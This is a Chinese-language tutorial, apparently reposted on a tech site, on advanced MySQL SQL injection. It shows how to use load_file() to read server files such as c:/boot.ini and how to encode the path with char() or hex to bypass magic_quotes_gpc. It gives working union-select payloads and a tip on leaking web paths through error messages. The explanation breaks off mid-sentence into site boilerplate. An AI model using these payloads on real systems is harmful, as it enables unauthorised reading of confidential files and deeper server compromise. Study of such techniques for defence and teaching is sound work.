数据库教程:Advanced SQL Injection with MySQL分享

文/图安全天使·angel[BST]

前言

  我的《SQLInjectionwithMySQL》(《黑客防线》7月的专题)已经对MySQL的注入有了比较全面的介绍了,但是有一个危害相当大的函数,我并没有在文中提及,因为如果能灵活应用这个函数,那PHP甚至服务器的安全性均会大打折扣,由于《SQLInjectionwithMySQL》的发表时间是在暑假期间,考虑到很多新手、学生和品德败坏的人乱用,所以我并没有把这个写在该文里,其实本文在5月初已写完。专题发表后,很多人已经陆续转到PHP+MYSQL注入的研究,很多新技术将会陆续挖掘出来,我们所掌握这方面未公开的高级技巧也会陆续公布出来。至于比较基础的东西,本文就不再提了。

详细

  我们知道,在SQL语句中,可以使用各种MySQL内置的函数,经常使用的就是DATABASE()、USER()、SYSTEM_USER()、SESSION_USER()、CURRENT_USER()这些函数来获取一些系统的信息,还有一个应用得比较多的函数,就是load_file(),该函数的作用是读入文件,并将文件内容作为一个字符串返回。
  看到这里,应该可以想到我们可以做什么了,就是读取一些机密文件,但是也是有条件限制的:

欲读取文件必须在服务器上 必须指定文件完整的路径 必须有权限读取并且文件必须完全可读 欲读取文件必须小于max_allowed_packet

  如果该文件不存在,或因为上面的任一原因而不能被读出,函数返回空。比较难满足的就是权限,在windows下,如果NTFS设置得当,是不能读取相关的文件的,当遇到只有administrators才能访问的文件,users就别想load_file出来。

  在实际的注入中,我们有两个难点需要解决:

绝对物理路径 构造有效的畸形语句

  在很多PHP程序中,当提交一个错误的Query,如果display_errors=on,程序就会暴露WEB目录的绝对路径,只要知道路径,那么对于一个可以注入的PHP程序来说,整个服务器的安全将受到严重的威胁。构造语句已经是小意思了。

利用

  我们假设一个程序的SQL语句如下:

SELECT*FROMarticleWHEREarticleid=$id

  注:当前条件:magic_quotes_gpc=off,c:/boot.ini可读。

  此时,我们构造$id为:

-1unionselect1,1,1,1,load_file(‘c:/boot.ini’)

  我们的Query就变成:

SELECT*FROMarticleWHEREarticleid=-1unionselect1,1,1,1,load_file(‘c:/boot.ini’)

  程序会把c:/boot.ini内容老老实实显示出来,但是现在magic_quotes_gpc=off的主机少之又少,怎么才能构造出没有引号的语句呢?看过《SQLInjectionwithMySQL》的朋友肯定知道用char()函数或者把字符转换成16进制,没错,就是它们。

  注:当前条件:magic_quotes_gpc=on,c:/boot.ini可读。

  我们构造$id为:

-1unionselect1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))

  “char(99,58,47,98,111,111,116,46,105,110,105)”就是“c:/boot.ini”的ASCII代码,我们的Query就变成:

SELECT*FROMarticleWHEREarticleid=-1unionselect1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))

  我们也可以成功的读取boot.ini文件,还有把字符串转换为16进制的,“c:/boot.ini”的16进制是“0x633a2f626f6f742e696e69”,所上述就是数据库技术:Advanced SQL Injection with MySQL分享的全部内容,如果对大家有所用处且需要了解更多关于mysql数据库学习教程,希望大家多多关注—计算机技术网(www.ctvol.com)!

本文来自网络收集,不代表计算机技术网立场,如涉及侵权请联系管理员删除。

ctvol管理联系方式QQ:251552304

本文章地址:https://www.ctvol.com/dtteaching/909812.html

(0)
上一篇 2021年10月23日
下一篇 2021年10月23日

精彩推荐